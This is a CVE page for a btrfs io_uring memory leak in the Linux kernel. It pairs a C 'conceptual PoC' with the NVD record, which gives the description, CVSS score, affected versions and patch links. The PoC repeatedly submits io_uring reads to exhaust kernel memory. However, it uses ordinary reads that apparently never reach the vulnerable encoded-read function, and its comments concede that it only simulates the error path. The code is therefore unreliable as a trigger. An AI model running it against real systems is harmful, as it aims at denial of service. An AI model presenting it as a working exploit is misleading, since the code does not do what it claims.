CVE-2026-23423

// Conceptual PoC for CVE-2026-23423 // This code attempts to trigger the memory leak by forcing error paths in btrfs io_uring reads. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <liburing.h> #define FILE_PATH "/mnt/btrfs/test_file.bin" // Path on a btrfs mount #define BUFFER_SIZE 4096 int main() { struct io_uring ring; int fd = open(FILE_PATH, O_RDONLY | O_DIRECT); if (fd < 0) { perror("open"); return 1; } // Initialize io_uring if (io_uring_queue_init(32, &ring, 0) < 0) { perror("io_uring_queue_init"); close(fd); return 1; } printf("Starting PoC loop to trigger memory leak...\n"); // Loop to repeatedly trigger the allocation and potential error path for (int i = 0; i < 100000; i++) { struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); void *buf = NULL; posix_memalign(&buf, BUFFER_SIZE, BUFFER_SIZE); if (!sqe) break; // Setup read operation io_uring_prep_read(sqe, fd, buf, BUFFER_SIZE, 0); sqe->flags |= IOSQE_ASYNC; // Force async processing io_uring_submit(&ring); // Wait for completion struct io_uring_cqe *cqe; io_uring_wait_cqe(&ring, &cqe); // In a real exploit, specific conditions would be forced to ensure // btrfs_encoded_read_regular_fill_pages fails and returns non -EIOCBQUEUED. // This loop simulates the load and potential for hitting the error path. io_uring_cqe_seen(&ring, cqe); free(buf); } io_uring_queue_exit(&ring); close(fd); return 0; }

{"cve": {"id": "CVE-2026-23423", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T14:16:28.487", "lastModified": "2026-04-23T21:04:24.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: free pages on error in btrfs_uring_read_extent()\n\nIn this function the 'pages' object is never freed in the hopes that it is\npicked up by btrfs_uring_read_finished() whenever that executes in the\nfuture. But that's just the happy path. Along the way previous\nallocations might have gone wrong, or we might not get -EIOCBQUEUED from\nbtrfs_encoded_read_regular_fill_pages(). In all these cases, we go to a\ncleanup section that frees all memory allocated by this function without\nassuming any deferred execution, and this also needs to happen for the\n'pages' allocation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "40E7536C-DA22-4B7D-9953-0343B4D9A3E6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3f501412f2079ca14bf68a18d80a2b7a823f1f64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/628895890b0c9ac9129129e89455da7db95ba343", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d4f210de01eaccac61eee657f676045ef9771d07", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}